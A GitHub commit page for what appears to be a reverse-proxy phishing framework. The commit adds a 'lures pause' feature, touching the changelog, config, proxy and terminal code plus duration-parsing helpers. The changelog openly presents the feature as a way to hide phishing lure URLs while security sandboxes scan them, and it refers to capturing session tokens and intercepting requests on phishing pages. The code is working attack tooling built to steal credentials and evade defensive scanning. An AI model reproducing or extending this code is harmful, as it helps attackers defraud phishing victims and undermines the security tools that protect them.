Skip to content

Commit

Permalink
added ability to pause lures for specific time duration
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Aug 17, 2023
1 parent b784e19 commit 2f28e36
Show file tree
Hide file tree
Showing 5 changed files with 202 additions and 7 deletions.
2 changes: 2 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,11 +1,13 @@
# Unreleased
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
- Feature: Lures can now be paused for fixed time duration with `lures pause <id>`. Useful when you want to briefy redirect your lure URL when you know sandboxes will try to scan them.
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
- Feature: Added default `redirect_url` in phishlets to hold a default redirect URL, to redirect to once tokens are captured, when it is not set in used phishing lure. `redirect_url` set for the lure will override this.
- Feature: You can now override global unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.
- Fixed: Removed `ua_filter` column from lures list view. It is still viewable in lure detailed view.

# 3.1.0
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
Expand Down
12 changes: 12 additions & 0 deletions core/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ import (
var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}

type Lure struct {
Id string `mapstructure:"id" json:"id" yaml:"id"`
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
Path string `mapstructure:"path" json:"path" yaml:"path"`
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
Expand All @@ -26,6 +27,7 @@ type Lure struct {
OgDescription string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
OgImageUrl string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
OgUrl string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
PausedUntil int64 `mapstructure:"paused" json:"paused" yaml:"paused"`
}

type SubPhishlet struct {
Expand Down Expand Up @@ -78,6 +80,7 @@ type Config struct {
activeHostnames []string
redirectorsDir string
lures []*Lure
lureIds []string
subphishlets []*SubPhishlet
cfg *viper.Viper
}
Expand Down Expand Up @@ -161,6 +164,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig)
c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates)

for i := 0; i < len(c.lures); i++ {
c.lureIds = append(c.lureIds, GenRandomToken())
}

return c, nil
}

Expand Down Expand Up @@ -622,6 +629,7 @@ func (c *Config) CleanUp() {

func (c *Config) AddLure(site string, l *Lure) {
c.lures = append(c.lures, l)
c.lureIds = append(c.lureIds, GenRandomToken())
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}
Expand All @@ -640,6 +648,7 @@ func (c *Config) SetLure(index int, l *Lure) error {
func (c *Config) DeleteLure(index int) error {
if index >= 0 && index < len(c.lures) {
c.lures = append(c.lures[:index], c.lures[index+1:]...)
c.lureIds = append(c.lureIds[:index], c.lureIds[index+1:]...)
} else {
return fmt.Errorf("index out of bounds: %d", index)
}
Expand All @@ -650,16 +659,19 @@ func (c *Config) DeleteLure(index int) error {

func (c *Config) DeleteLures(index []int) []int {
tlures := []*Lure{}
tlureIds := []string{}
di := []int{}
for n, l := range c.lures {
if !intExists(n, index) {
tlures = append(tlures, l)
tlureIds = append(tlureIds, c.lureIds[n])
} else {
di = append(di, n)
}
}
if len(di) > 0 {
c.lures = tlures
c.lureIds = tlureIds
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}
Expand Down
5 changes: 5 additions & 0 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -273,6 +273,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// session cookie not found
if !p.cfg.IsSiteHidden(pl_name) {
if l != nil {
// check if lure is not paused
if l.PausedUntil > 0 && time.Unix(l.PausedUntil, 0).After(time.Now()) {
log.Warning("[%s] lure is paused: %s [%s]", hiblue.Sprint(pl_name), req_url, remote_addr)
return p.blockRequest(req)
}

// check if lure user-agent filter is triggered
if len(l.UserAgentFilter) > 0 {
Expand Down
95 changes: 88 additions & 7 deletions core/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,7 @@ func (t *Terminal) DoWork() {
t.manageCertificates(true)

t.output("%s", t.sprintPhishletStatus(""))
go t.monitorLurePause()

for !do_quit {
line, err := t.rl.Readline()
Expand Down Expand Up @@ -649,6 +650,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
func (t *Terminal) handleLures(args []string) error {
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
higreen := color.New(color.FgHiGreen)
green := color.New(color.FgGreen)
//hiwhite := color.New(color.FgHiWhite)
hcyan := color.New(color.FgHiCyan)
Expand Down Expand Up @@ -799,6 +801,53 @@ func (t *Terminal) handleLures(args []string) error {
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "pause":
if pn == 3 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("pause: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("pause: %v", err)
}
s_duration := args[2]

t_dur, err := ParseDurationString(s_duration)
if err != nil {
return fmt.Errorf("pause: %v", err)
}
t_now := time.Now()
log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05"))
log.Info("unpauses at: %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05"))

l.PausedUntil = t_now.Add(t_dur).Unix()
err = t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
case "unpause":
if pn == 2 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("pause: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("pause: %v", err)
}

log.Info("lure for phishlet '%s' unpaused", l.Phishlet)

l.PausedUntil = 0
err = t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
case "edit":
if pn == 4 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
Expand Down Expand Up @@ -1017,8 +1066,10 @@ func (t *Terminal) handleLures(args []string) error {
return err
}

keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))

keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
log.Printf("\n%s\n", AsRows(keys, vals))

return nil
Expand All @@ -1028,6 +1079,33 @@ func (t *Terminal) handleLures(args []string) error {
return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) monitorLurePause() {
var pausedLures map[string]int64
pausedLures = make(map[string]int64)

for {
t_cur := time.Now()

for n, l := range t.cfg.lures {
if l.PausedUntil > 0 {
l_id := t.cfg.lureIds[n]
t_pause := time.Unix(l.PausedUntil, 0)
if t_pause.After(t_cur) {
pausedLures[l_id] = l.PausedUntil
} else {
if _, ok := pausedLures[l_id]; ok {
log.Info("[%s] lure (%d) is now active", l.Phishlet, n)
}
pausedLures[l_id] = 0
l.PausedUntil = 0
}
}
}

time.Sleep(500 * time.Millisecond)
}
}

func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
Expand Down Expand Up @@ -1076,7 +1154,7 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")

h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("pause"), readline.PcItem("unpause"),
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))),
readline.PcItem("delete", readline.PcItem("all"))))

Expand All @@ -1087,6 +1165,8 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
h.AddSubCommand("lures", []string{"pause"}, "pause <id> <1d2h3m4s>", "pause lure <id> for specific amount of time and redirect visitors to `unauth_url`")
h.AddSubCommand("lures", []string{"unpause"}, "unpause <id>", "unpause lure <id> and make it available again")
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit <id> redirector <path>", "sets an html redirector directory <path> for a lure with a given <id>")
Expand Down Expand Up @@ -1273,15 +1353,13 @@ func (t *Terminal) sprintIsEnabled(enabled bool) string {

func (t *Terminal) sprintLures() string {
higreen := color.New(color.FgHiGreen)
green := color.New(color.FgGreen)
//hired := color.New(color.FgHiRed)
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
cyan := color.New(color.FgCyan)
hcyan := color.New(color.FgHiCyan)
white := color.New(color.FgHiWhite)
//n := 0
cols := []string{"id", "phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "og"}
cols := []string{"id", "phishlet", "hostname", "path", "redirector", "redirect_url", "paused", "og"}
var rows [][]string
for n, l := range t.cfg.lures {
var og string
Expand All @@ -1305,7 +1383,10 @@ func (t *Terminal) sprintLures() string {
} else {
og += "-"
}
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})

var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))

rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), yellow.Sprint(l.RedirectUrl), s_paused, og})
}
return AsTable(cols, rows)
}
Expand Down
95 changes: 95 additions & 0 deletions core/utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,9 @@ import (
"io/fs"
"io/ioutil"
"os"
"strconv"
"strings"
"time"
)

func GenRandomToken() string {
Expand Down Expand Up @@ -75,3 +78,95 @@ func SaveToFile(b []byte, fpath string, perm fs.FileMode) error {
}
return nil
}

func ParseDurationString(s string) (t_dur time.Duration, err error) {
const DURATION_TYPES = "dhms"

t_dur = 0
err = nil

var days, hours, minutes, seconds int64
var last_type_index int = -1
var s_num string
for _, c := range s {
if c >= '0' && c <= '9' {
s_num += string(c)
} else {
if len(s_num) > 0 {
m_index := strings.Index(DURATION_TYPES, string(c))
if m_index >= 0 {
if m_index > last_type_index {
last_type_index = m_index
var val int64
val, err = strconv.ParseInt(s_num, 10, 0)
if err != nil {
return
}
switch c {
case 'd':
days = val
case 'h':
hours = val
case 'm':
minutes = val
case 's':
seconds = val
}
} else {
err = fmt.Errorf("you can only use time duration types in following order: 'd' > 'h' > 'm' > 's'")
return
}
} else {
err = fmt.Errorf("unknown time duration type: '%s', you can use only 'd', 'h', 'm' or 's'", string(c))
return
}
} else {
err = fmt.Errorf("time duration value needs to start with a number")
return
}
s_num = ""
}
}
t_dur = time.Duration(days)*24*time.Hour + time.Duration(hours)*time.Hour + time.Duration(minutes)*time.Minute + time.Duration(seconds)*time.Second
return
}

func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) {
var days, hours, minutes, seconds int64
ret = ""

if t_expire.After(t_now) {
t_dur := t_expire.Sub(t_now)
if t_dur > 0 {
days = int64(t_dur / (24 * time.Hour))
t_dur -= time.Duration(days) * (24 * time.Hour)

hours = int64(t_dur / time.Hour)
t_dur -= time.Duration(hours) * time.Hour

minutes = int64(t_dur / time.Minute)
t_dur -= time.Duration(minutes) * time.Minute

seconds = int64(t_dur / time.Second)

var forcePrint bool = false
if days > 0 {
forcePrint = true
ret += fmt.Sprintf("%dd", days)
}
if hours > 0 || forcePrint {
forcePrint = true
ret += fmt.Sprintf("%dh", hours)
}
if minutes > 0 || forcePrint {
forcePrint = true
ret += fmt.Sprintf("%dm", minutes)
}
if seconds > 0 || forcePrint {
forcePrint = true
ret += fmt.Sprintf("%ds", seconds)
}
}
}
return
}

0 comments on commit 2f28e36

Please sign in to comment.